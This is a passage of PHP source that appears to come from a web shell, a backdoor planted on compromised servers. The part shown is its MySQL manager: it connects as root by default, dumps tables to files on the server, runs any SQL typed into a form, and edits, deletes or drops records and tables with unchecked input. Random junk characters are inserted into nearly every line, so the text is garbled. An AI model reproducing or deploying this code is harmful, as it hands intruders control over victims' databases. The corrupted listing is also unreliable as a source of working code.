    8 _/ U) @* N- o" o3 l' G! a! _- m
  670.         makehide('dbuser');
    4 p5 {/ f: n0 j; w1 b2 u# Y1 U
  671.         makehide('dbpass');2 q. ?9 M7 V8 P2 T8 R/ A
  672.         makehide('dbname');
    5 D0 X& U! q/ w1 m" r, N
  673.         makehide('charset');3 `4 H, a/ v1 E0 ^1 L
  674.         makehide('doing');
    % b8 H( g* @( \1 P) l3 ]3 Q
  675.         makehide('action','sqlfile');
    3 a, _+ t  h; D' u% [' ~
  676.         p('</form>');
    ' B! S$ o" {' X' E
  677. }" b4 X6 E" D3 ^  {+ L

  678. 9 C  H8 A) D6 F2 t. K: D
  679. elseif ($action == 'sqladmin') {; c) |: H, m" y
  680.         !$dbhost && $dbhost = 'localhost';" Y9 K6 d  k9 \+ d* ]& G
  681.         !$dbuser && $dbuser = 'root';$ J! E) K/ O" i; ~/ W% A4 W) h9 P+ t
  682.         !$dbport && $dbport = '3306';3 k# c8 r% j  T% d* X
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';% T: J: n! V) X4 J# e
  684.         if(isset($dbhost)){
    6 g# W5 J3 S9 y8 _) S9 P1 D5 m
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
    $ h$ i  U0 V0 f
  686.         }
    4 @7 Z* X  U! _
  687.         if(isset($dbuser)) {
    - K# ~4 ^0 F4 {7 e/ H; P0 R
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
    * U9 G" [5 R1 u; `
  689.         }
    + d* H% G! E+ C1 j& u+ r& ^
  690.         if(isset($dbpass)) {
    % t5 r' _+ V) v2 h/ s  U
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";3 H( V* k4 Y* E  g7 ~9 A
  692.         }; k8 `! Y4 v4 a" f6 n
  693.         if(isset($dbport)) {
    - U" _1 w6 s/ H- ]& L8 y
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";, ?2 c# r" j$ c
  695.         }
    " l& T8 _' n5 j8 Q/ m
  696.         if(isset($dbname)) {. i# t. ?) P' `; g2 W
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";! {2 R) k+ p7 \2 l; L
  698.         }
    3 [6 k- o/ O4 f, C
  699.         if(isset($charset)) {3 k8 o$ d- l$ l, m/ ~0 t& l! R
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";4 E: o& @8 j+ @7 U9 i) |6 V; k2 ^
  701.         }: c! ]+ t) _! K4 P

  702.   Y% e' }) ?  e- E9 [
  703.         if ($doing == 'backupmysql' && $saveasfile) {7 ^0 _9 j  }: I6 J6 G; A2 }* d
  704.                 if (!$table) {
    ( k- n) C5 i2 ~7 Z% v# H9 X
  705.                         m('Please choose the table');( C! J! Q4 G' C4 z4 K6 W0 N& r% c
  706.                 } else {
    ' P1 ~7 g6 j: \7 ?$ k& O& j1 R
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 {& v9 e8 @- R0 a0 T
  708.                         $table = array_flip($table);; h: b- g2 ?, n7 e; n
  709.                         $fp = @fopen($path,'w');
    / [$ ^/ c0 V, A+ J0 j
  710.                         if ($fp) {% R3 _$ W  e# T/ J. P
  711.                                 $result = q('SHOW tables');
      T! q6 F- c( L' w) V
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
    / W+ M, h( u1 q, V* _7 z
  713.                                 $mysqldata = '';
    " D3 I+ ?- V) q7 z7 I
  714.                                 while ($currow = mysql_fetch_array($result)) {
    0 x# R) m/ m8 I, g$ T
  715.                                         if (isset($table[$currow[0]])) {- C4 [( H' B: |& g- R. d; N
  716.                                                 sqldumptable($currow[0], $fp);
    2 H  f1 A4 M2 u6 y) W
  717.                                         }
    . H/ S4 i4 D& ~& v4 h. Q
  718.                                 }5 R' S; Q4 j/ A8 @$ X/ G5 u# N. E
  719.                                 fclose($fp);
    / h  M) y: T  Z& y
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);" }5 ?. x0 I9 z* u& o" v5 B
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');. B8 z% G) z4 C5 A) r
  722.                                 mysql_close();  d% v6 ]4 `! A- c  P3 j  E4 a
  723.                         } else {, A# _( J) H& n, y
  724.                                 m('Backup failed');
    # ]5 M2 R/ D; g5 C0 N
  725.                         }
    1 e- [, R+ k" b* s( E3 n
  726.                 }/ [8 Q% z( I# a- H" F$ a3 F
  727.         }; u- z# D' B& t) k* J0 O
  728.         if ($insert && $insertsql) {
    , d9 l' }/ m$ Y# E& d& ?
  729.                 $keystr = $valstr = $tmp = '';
    / o: ^7 f# Q5 m& B9 P% w/ H! v
  730.                 foreach($insertsql as $key => $val) {
      a9 \" v3 G- S/ w
  731.                         if ($val) {3 h6 q* R" b6 j5 B9 Y
  732.                                 $keystr .= $tmp.$key;3 N- k+ m8 @# V' Q0 v
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";
    % {" ^- r0 L9 R/ r) V+ v
  734.                                 $tmp = ',';. e6 Y9 Y' B; H! H4 a
  735.                         }) x* }3 H# S6 F
  736.                 }' W2 q1 V( T$ y! S
  737.                 if ($keystr && $valstr) {
    7 X  z8 }) |5 D% w# J2 t
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 ^1 p- U8 s8 m; @* U
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
      k' z3 ^3 Q9 B, j9 I. S
  740.                 }+ X2 h5 D' w& ^- Y' E1 }" R5 e
  741.         }
    4 Z' Z: W# L( b+ s- t# T( x. R
  742.         if ($update && $insertsql && $base64) {
    / ?! s7 k' z) l! \2 u/ V
  743.                 $valstr = $tmp = '';2 G$ u  ?; @* S2 @+ k
  744.                 foreach($insertsql as $key => $val) {
    ) J6 n% `$ E  \( P# [, B6 _( G: T% r
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";6 f1 Q3 C* B" L( i5 X
  746.                         $tmp = ',';' K; a: ?1 X- Z- n- I9 B# |
  747.                 }
    / S# ?! O% V7 P2 R, Z
  748.                 if ($valstr) {
    5 c+ s6 e! e3 i1 k# G" x! F  B
  749.                         $where = base64_decode($base64);
    2 B/ e5 H4 Q, y7 Z3 N
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);: j" B& Q# X1 o& F& y/ g
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    ) o, r9 f5 T5 s) p) q6 q! }' s
  752.                 }
    6 ~* ]9 e/ l; D
  753.         }! ?( V7 c- g0 {7 h. O; g
  754.         if ($doing == 'del' && $base64) {1 }# M; g) Q& c+ c* p
  755.                 $where = base64_decode($base64);, w# T; F# e8 d% ^: O
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
    " _) m5 R' q  w) V3 f! V
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);5 t1 ?$ G' {# W% M( F; d
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    7 q) d- }6 j+ k
  759.         }0 d$ V6 I4 N- h9 O: _
  760. 0 N  Z* s' g+ Z5 ?
  761.         if ($tablename && $doing == 'drop') {$ d' d5 P, M0 F2 @' d! U
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    * u' H1 W  ^+ o$ S+ l
  763.                 if (q("DROP TABLE $tablename")) {
    - K% ~+ u" T3 |; |+ t: I* \
  764.                         m('Drop table of success');3 j6 N( `# }5 _5 p, c8 x. H! O% N
  765.                         $tablename = '';* Q. `# l7 W9 c- k9 e7 L( l# z
  766.                 } else {
    . x. l3 R+ D$ X: V
  767.                         m(mysql_error());+ b9 S% C# V1 X$ D( O+ }3 U
  768.                 }! _, T1 `: M5 d  X) q3 k& G
  769.         }
    - z- ^& p* y3 S/ s. f" X7 H
  770. " i. S1 p" r6 F4 V# ?) u
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');* a, B) Y6 Q! t8 v

  772. " o8 M  R* |6 H! f
  773.         formhead(array('title'=>'MYSQL Manager'));
    * y: P$ F( J2 r  W" [
  774.         makehide('action','sqladmin');
    : x7 {; s1 @" b. g% G( u
  775.         p('<p>');- d8 D+ h3 H& L: J* x
  776.         p('DBHost:');7 `, |& t2 S0 D& i% h' J
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    8 G3 }0 Y) G4 ?7 g
  778.         p(':');
    6 z8 Z/ |( f: d; v& x- T
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    ) e! c5 ]! I- [' k2 c8 ?
  780.         p('DBUser:');  P) K7 X( ?3 w: e" R3 S1 e
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    ; ~6 x& _0 n- W3 k
  782.         p('DBPass:');
    + |% w& N; M( |
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    8 k; N0 c5 S, J1 V+ g$ A; l/ L* \
  784.         p('DBCharset:');
    ; p( P7 s0 n* ]0 a
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));5 J' ?; Q% M# M9 H0 a& \
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    * t; z8 t& L4 }4 z' x5 ^1 W$ I
  787.         p('</p>');
    : j0 i# M1 \+ h( b; f5 y6 w
  788.         formfoot();8 m  E# C/ D( t* M7 \6 o& C
  789. ?>9 c, |3 u4 D7 h' J6 Y6 V
  790. <script type="text/javascript"># x( r. R3 _; T+ n+ b9 v' f" v# T
  791. function editrecord(action, base64, tablename){' H$ L4 A  m/ C# O; R2 F
  792.         if (action == 'del') {                - h+ m, S8 x( t% @, a
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;
    , }# L: Z( ]( o1 x5 d9 a3 d
  794.         }) L: J. o# ?8 \3 p' Z$ S' j. d
  795.         $('recordlist').doing.value=action;
    4 q+ ^, X% G: a
  796.         $('recordlist').base64.value=base64;
    , c6 X! f5 @! j+ V  _4 G
  797.         $('recordlist').tablename.value=tablename;
    & i, X% l0 T* H1 E; f* k, k( T: i
  798.         $('recordlist').submit();3 G1 \' J  i: H) x1 t9 B- D
  799. }
    0 c- t5 o, |) @  E+ I
  800. function moddbname(dbname) {
    ( F; W- ~/ K9 x' i( _: W
  801.         if(!dbname) return;
    3 v1 @) R1 }' H) A1 S4 {/ l
  802.         $('setdbname').dbname.value=dbname;0 j) O% Q1 \2 P5 G
  803.         $('setdbname').submit();
    ! \2 D% l7 E! T
  804. }) p+ A" @" q& e0 q% i; e
  805. function settable(tablename,doing,page) {% {% j" a3 G" Q5 @& v% c
  806.         if(!tablename) return;7 p4 V- D$ Y* t7 K4 g4 S( |
  807.         if (doing) {- B, d/ K" M6 n6 x# Q
  808.                 $('settable').doing.value=doing;
    4 o6 c8 n6 e1 Z9 k! S# ?) C
  809.         }1 r/ R' s- ]3 i4 v* `. d- G
  810.         if (page) {
    $ m. L1 G  j) N7 q
  811.                 $('settable').page.value=page;- U1 v, \( D" r: E
  812.         }0 {# b, `# i+ b8 [$ z
  813.         $('settable').tablename.value=tablename;, V3 Q. W# L  W3 j: a
  814.         $('settable').submit();3 P1 M. \8 L$ E2 e: \) v
  815. }
    $ j) ^! d% }* p+ K8 n4 \
  816. </script>" z3 t  s/ K- e$ N; L: k) C
  817. <?php, J; s! U2 a4 S4 @% v' c5 o
  818.         //操作记录
    ( `6 W* }8 P  G- I6 G& C- c
  819.         formhead(array('name'=>'recordlist'));
    ) ^# B/ z" O: i# i8 c
  820.         makehide('doing');
    % _7 h* U9 F8 H/ E* u# V
  821.         makehide('action','sqladmin');
    6 l& c. ]; }4 j
  822.         makehide('base64');7 m; F/ B& G1 R9 Z2 `7 @6 O& C* a
  823.         makehide('tablename');6 g' }8 E8 Q# x( G/ u
  824.         p($dbform);
    ( C% ~: J+ z7 v, ]8 q  x
  825.         formfoot();6 g. ^2 F) @) F7 r/ b4 a9 k6 u7 d
  826.         //选定数据库
      q( z# m$ h6 c# P. P
  827.         formhead(array('name'=>'setdbname'));
    ( u  Y2 l2 ?: ~/ q
  828.         makehide('action','sqladmin');" Y. A% H( w: g3 r" g, T4 T7 @
  829.         p($dbform);
    1 K4 K7 M# a, K, g. z
  830.         if (!$dbname) {
    ) t7 r. O8 _0 I: B. i
  831.                 makehide('dbname');
    + j% u& H/ F! _! u
  832.         }% K; k6 f3 e5 C+ @
  833.         formfoot();
    * s; W8 n% Z1 q1 V
  834.         //选定表
    2 I0 C( g: B8 w2 o: W% S
  835.         formhead(array('name'=>'settable'));
    # V+ ]' f& H6 D5 Y- [9 s
  836.         makehide('action','sqladmin');/ f+ n! \* X* {4 J& z& J- R" j1 g
  837.         p($dbform);
    ) \" i$ P( m; w5 u# b; K
  838.         makehide('tablename');/ Z( f3 n8 x6 w
  839.         makehide('page',$page);
    - N+ A: _( H; {7 R9 U
  840.         makehide('doing');
    4 U0 v3 l3 _$ w1 H) u
  841.         formfoot();. N( X: G6 E0 A: K9 s& ?7 O
  842.         $cachetables = array();        , L2 D6 P( a* [5 K3 b2 Y
  843.         $pagenum = 30;9 |+ r1 o  U- A2 p9 y4 n
  844.         $page = intval($page);
    3 T. H: V# o! _/ u1 c/ v2 [
  845.         if($page) {! P) V! T1 S1 @: I+ M" r
  846.                 $start_limit = ($page - 1) * $pagenum;0 V& Q" B- }* q0 K$ w
  847.         } else {
    ' m" W* V; F+ N! i
  848.                 $start_limit = 0;
    " n% H8 }' P# I0 |5 t8 ?( n/ u
  849.                 $page = 1;! T  Y+ b; q( w* G- _% k+ U$ T
  850.         }
    3 e( x, L5 |% K6 r" t, D/ a  E/ B
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {5 c7 A3 D& _( N$ ]7 H
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    ; P0 s1 A( d. E' J  I
  853.                 //获取数据库信息
    % f  j( y9 o& p7 v# C; t5 g# e; S5 E
  854.                 $mysqlver = mysql_get_server_info();
    # @* n6 J0 O( [# k: k: u, Y+ J
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');! y/ V% B7 V2 T  E
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
    9 Q6 \! f! a4 @9 P% O3 h
  857.                 //获取数据库
    7 w. L4 a- j" Y4 y
  858.                 $query = q("SHOW DATABASES");6 z+ X9 ^$ u( j
  859.                 $dbs = array();
    / _0 G0 n7 U* m: k  z1 v9 B
  860.                 $dbs[] = '-- Select a database --';
      m  m  f" F# Q& I* b% G
  861.                 while($db = mysql_fetch_array($query)) {5 n, x2 ^0 S2 ?! e
  862.                         $dbs[$db['Database']] = $db['Database'];; r2 M, y7 l( l* M+ M: G% e) a
  863.                 }2 L+ c8 v3 n1 Z9 n1 [# a. l
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));- [/ ^* E' {2 x% S! w  p8 F
  865.                 $tabledb = array();* N5 p! n" N* c9 g
  866.                 if ($dbname) {6 m0 s/ g3 y$ K' ^: s0 w
  867.                         p('<p>');
    " X( M( o5 e. [5 V
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
    6 H3 `( E! j, s% ^. T
  869.                         if ($tablename) {
    # q. c* k, P# A- v' F9 e
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');* G& i! f4 D! h+ ^
  871.                         }
    . x6 S. F8 N$ r# r  \8 a
  872.                         p('</p>');  u* \/ q3 @$ p2 [" c; }
  873.                         mysql_select_db($dbname);+ t" P, I( o# G4 A6 z
  874.                         $getnumsql = '';
      x& V/ e: I0 u
  875.                         $runquery = 0;; \1 ?# x4 B9 @: f* X- H( b$ W5 q. V% X
  876.                         if ($sql_query) {! I% y- E/ v; D
  877.                                 $runquery = 1;
    8 Z4 O/ _( {# l" U# O7 n
  878.                         }2 f1 _6 D1 n# R  K1 [
  879.                         $allowedit = 0;
    7 \# c! z8 a' T! s) d
  880.                         if ($tablename && !$sql_query) {
    7 e" i# B; f8 J- |4 i  `7 y) `! I
  881.                                 $sql_query = "SELECT * FROM $tablename";
    , S1 F% W" a0 M) g% Q9 l
  882.                                 $getnumsql = $sql_query;8 p3 L/ F' x% Z4 G
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";- s) a! S+ y( D0 m' |
  884.                                 $allowedit = 1;
    : @) s6 t$ R6 u' ?1 N4 X
  885.                         }5 y. n. c% C" M9 {
  886.                         p('<form action="'.$self.'" method="POST">');) M) S6 {* B# v/ j: \, c( U
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');$ t, G& |" `) ?/ v& N" m/ X, [
  888.                         makehide('tablename', $tablename);6 p( ]5 @- `# H% F" s% i! e
  889.                         makehide('action','sqladmin');  |4 i9 w) E7 o+ h" t" p* C
  890.                         p($dbform);$ d4 A0 }$ O  b
  891.                         p('</form>');% X' h9 h0 G) S5 L2 S% e4 q! P/ o
  892.                         if ($tablename || ($runquery && $sql_query)) {
    : g: e( s" Q% `" y9 j9 H
  893.                                 if ($doing == 'structure') {# b% [# ]2 r) l8 Y$ E8 W. e0 ?/ n
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");. G' A8 W! ^4 g5 G
  895.                                         $rowdb = array();
    - b# g4 F6 U1 }: E
  896.                                         while($row = mysql_fetch_array($result)) {* F0 a8 E/ K: E* K: _) {! j8 g
  897.                                                 $rowdb[] = $row;
    ; M  k, u, N" x! F% x, M; w
  898.                                         }' p3 k2 g' ^7 g1 V5 }
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');: v% R$ j$ Q6 o& P7 s
  900.                                         p('<tr class="head">');
    " t; O( l6 b: B
  901.                                         p('<td>Field</td>');" v/ ]* Q8 N, r/ a) N3 \
  902.                                         p('<td>Type</td>');
    # O& d' Y; h5 I. r8 p4 L6 \
  903.                                         p('<td>Null</td>');
    4 E% _0 q7 c2 G& Z# s% v
  904.                                         p('<td>Key</td>');: b- D  _5 f1 w
  905.                                         p('<td>Default</td>');
    / t# t/ X2 N! R2 t, H& Q& p
  906.                                         p('<td>Extra</td>');3 i2 [5 Y% P" H2 w( g9 V" T: b
  907.                                         p('</tr>');  ]8 R9 C! n8 I: @; z
  908.                                         foreach ($rowdb as $row) {
    ; m. P% V$ @( Z. E5 W1 v
  909.                                                 $thisbg = bg();3 |6 b( E; n9 i) n  K
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    0 n! `: N* Z/ h, @
  911.                                                 p('<td>'.$row['Field'].'</td>');( R7 O0 k; |1 g' n
  912.                                                 p('<td>'.$row['Type'].'</td>');
    4 `" `: V6 `1 O6 M" B) k; m
  913.                                                 p('<td>'.$row['Null'].' </td>');
    $ B, L/ c! O* G0 I9 S% D5 y) D- @
  914.                                                 p('<td>'.$row['Key'].' </td>');1 Y' O1 r( _6 A
  915.                                                 p('<td>'.$row['Default'].' </td>');! S" u, ~: M5 B, t: b+ Z
  916.                                                 p('<td>'.$row['Extra'].' </td>');2 W1 Z& ~0 y) h7 @2 e
  917.                                                 p('</tr>');
    - L" k! E7 v! \4 V- \
  918.                                         }8 {! {; H( @  j3 `
  919.                                         tbfoot();
    % Z' `$ f1 e$ B3 I
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
    5 }. X3 Q* k5 p. L' `
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);# B2 m3 H& x* r6 i$ U& U
  922.                                         while ($row = mysql_fetch_array($result)) {  I; M+ v/ k9 w; D% ^9 l( u; D
  923.                                                 $rowdb[] = $row;% k4 K, ]! S/ Y8 ]4 U# R
  924.                                         }
    3 N4 B0 e3 D$ q& X
  925.                                         $rs = array();
    4 x( b9 n  F/ u5 B4 n- O/ X
  926.                                         if ($doing == 'insert') {" H3 s' V) X. W5 N0 E6 `# q
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    / \5 {( `: w  {
  928.                                         } else {9 e, @6 ^) \; [, T$ {2 f
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    * S* Z) F7 U) h( [8 }. l' D
  930.                                                 $where = base64_decode($base64);
    & f  v# r: u" d
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
    / u2 \! U4 `( r2 \
  932.                                                 $rs = mysql_fetch_array($result);
    # N7 V+ z, A" t% p8 Y' z
  933.                                         }$ _1 \: g" P3 n) i* U
  934.                                         p('<form method="post" action="'.$self.'">');- f5 y6 A2 n6 x2 l, G
  935.                                         p($dbform);& V2 M: V; P# e2 m6 x: Y$ L2 u3 Z
  936.                                         makehide('action','sqladmin');
    % p; h" E; D: [+ x8 n' H# G5 |
  937.                                         makehide('tablename',$tablename);
    ) {" t* e% R# U4 f. N
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');' U( z: v$ a0 ?9 f3 e, y& a
  939.                                         foreach ($rowdb as $row) {
    : q6 F- ]  |! H2 v! P0 {) i
  940.                                                 if ($rs[$row['Field']]) {# l7 h" b' e$ F, b
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);0 H. |' E) H7 J5 g
  942.                                                 } else {. h# M% A! p4 Z: ]1 X* f: j* L: i
  943.                                                         $value = '';
    5 Y1 D+ Z7 \/ ]+ t* h* y
  944.                                                 }
    6 L8 i- i( m6 _: U6 P
  945.                                                 $thisbg = bg();
    0 T% c2 S. D: O9 l2 F" r% _3 g
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');4 a! w" P* k- r: ?) b- C. L8 ]- F
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    " ?$ F# X! m& w" F" P6 o; j8 V
  948.                                         }
    0 }+ v' ?+ W: S+ ?
  949.                                         if ($doing == 'insert') {' O% Q( Q, L; y
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');# t0 T0 ?4 C# W
  951.                                         } else {
    8 {# A0 `% `3 e0 x1 x' y$ g
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');' O7 |  p& r* Z
  953.                                                 makehide('base64', $base64);
    $ O$ n9 e7 N  X" B) L  ?, N
  954.                                         }
    3 B7 J( o( w# s! N2 |1 o# G6 ]/ u
  955.                                         p('</table></form>');
    + ?  o% S: K+ B
  956.                                 } else {& @8 @5 _2 A/ c( L2 |2 E/ t# M
  957.                                         $querys = @explode(';',$sql_query);4 X* O7 e- F" H" G+ v8 j/ z
  958.                                         foreach($querys as $num=>$query) {
    : g% r: e8 T( k( A/ H6 i8 X
  959.                                                 if ($query) {
    / M, x) D- J5 h9 I. D
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    ( R6 P5 [: M6 E- G% k
  961.                                                         switch(qy($query))# h0 u( q( n( x1 D! x
  962.                                                         {) d& v& A; i7 v+ e) [
  963.                                                                 case 0:! k+ H* _; t- F; F# G/ Y4 N! `
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    , x6 E6 d2 h$ K6 O' l# W
  965.                                                                         break;       
    ; i% f8 t1 r4 Q4 Q
  966.                                                                 case 1:
    + C1 Y. m' \0 z$ F6 Z' L+ X6 D
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {5 ]6 f% R3 S8 B6 j2 ?2 A
  968.                                                                                 $allowedit = 1;- u' z; A) n# H. h# T$ O. R
  969.                                                                         }
    ( o) n- {; k  D$ C
  970.                                                                         if ($getnumsql) {
    % Y0 h! t6 L! [+ ]7 \9 s* O
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    3 w& U* T5 |. w' \  k1 Y$ `& r  c
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
    " O/ g: h  w. ]" K+ Y. {) j, q- k
  973.                                                                         }
    # _- p; O, ?) t) X' F3 D
  974.                                                                         if (!$tablename) {
    ( H$ V9 t. \  j
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    ; C, Q: c) H1 F4 J
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);* P8 V( G: x# A. u% s% d8 P
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
    7 i9 H' `, F# e7 A
  978.                                                                                 $tablename = $matches[1][0];
    & R" P$ h# V1 C% K! r' N
  979.                                                                         }1 p$ k% b3 u  u" r7 G
  980.                                                                         $result = q($query);% C# j2 F9 Y* E8 y
  981.                                                                         p($multipage);0 G2 x8 X) H! D. j! Y/ x* h
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
      O2 v1 Q" [- k; I/ ~
  983.                                                                         p('<tr class="head">');! p1 P7 W2 a3 l3 Q6 e& t# a  u# u
  984.                                                                         if ($allowedit) p('<td>Action</td>');
    9 Q% p& Q0 Z7 O5 `
  985.                                                                         $fieldnum = @mysql_num_fields($result);1 U  g. E* m, F1 ?/ I
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    6 f9 ?4 c/ Q( m) Y! \5 o- F6 u* R+ M
  987.                                                                                 $name = @mysql_field_name($result, $i);% ]5 V2 a8 @: r9 z/ {+ C# F5 c
  988.                                                                                 $type = @mysql_field_type($result, $i);
    * }) j8 x, M# P# z9 B' i# D
  989.                                                                                 $len = @mysql_field_len($result, $i);  N5 }! D/ M4 C+ J
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
    + ~  x/ a5 i: s
  991.                                                                         }# P, h# D% W, ?1 i  z. Q8 [
  992.                                                                         p('</tr>');
    9 A1 O6 y7 Z' k2 c# i. g" a
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){
    $ y6 y! S( t+ j6 U5 C. x- j
  994.                                                                                 $thisbg = bg();
    9 }# @5 H, C6 R4 l" @' h% |4 {* c
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ! u" N4 a( Z. _! i2 X
  996.                                                                                 $where = $tmp = $b1 = '';3 }1 W6 \% n8 N
  997.                                                                                 foreach($mn as $key=>$inside){
    & p- \- E" o0 P& D( C* n
  998.                                                                                         if ($inside) {
    ) ~9 O9 \, ^6 V# }
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";0 a, a0 Y8 m1 O6 V; V& h2 k
  1000.                                                                                                 $tmp = ' AND ';
    $ z6 I8 N+ {& O' M/ Z9 o
  1001.                                                                                         }4 {  }5 X% t+ b# I
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';! W4 S& Q2 H' c/ [" |
  1003.                                                                                 }( E# ?1 n% f( ~% p2 v
  1004.                                                                                 $where = base64_encode($where);
    3 t1 C0 {7 X6 m1 C9 S
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    # i0 ~" W: T2 v$ l
  1006.                                                                                 p($b1);
    " V/ l( C6 R; O1 y- J% Q  h
  1007.                                                                                 p('</tr>');& T1 I  G# h; R; H7 _
  1008.                                                                                 unset($b1);
    6 `- Z0 k3 b+ X. [" ^
  1009.                                                                         }
    3 l* ^1 N' f4 `6 S6 p6 w
  1010.                                                                         tbfoot();0 Q. @- p# O3 f* K8 o  H! F# m# a
  1011.                                                                         p($multipage);
    / H$ ~. L. b- [* X0 a
  1012.                                                                         break;       
    , d, \. a5 _# l) l: J
  1013.                                                                 case 2:2 l* k! Z& }. [# p4 @
  1014.                                                                         $ar = mysql_affected_rows();
    ' k# [, k' a: {* c8 V+ D$ k" g
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');. S4 W+ {4 O4 e* Q" N- g$ _1 [
  1016.                                                                         break;
    - {& O$ v& f" @2 n7 i
  1017.                                                         }6 p3 a! Y2 B- y- [$ Z' r1 p
  1018.                                                 }5 g/ U0 A3 @2 D
  1019.                                         }
    . F7 q/ @6 X: ~( `( d8 v+ X
  1020.                                 }, P* W5 L0 c+ Z2 h- @% L6 ^
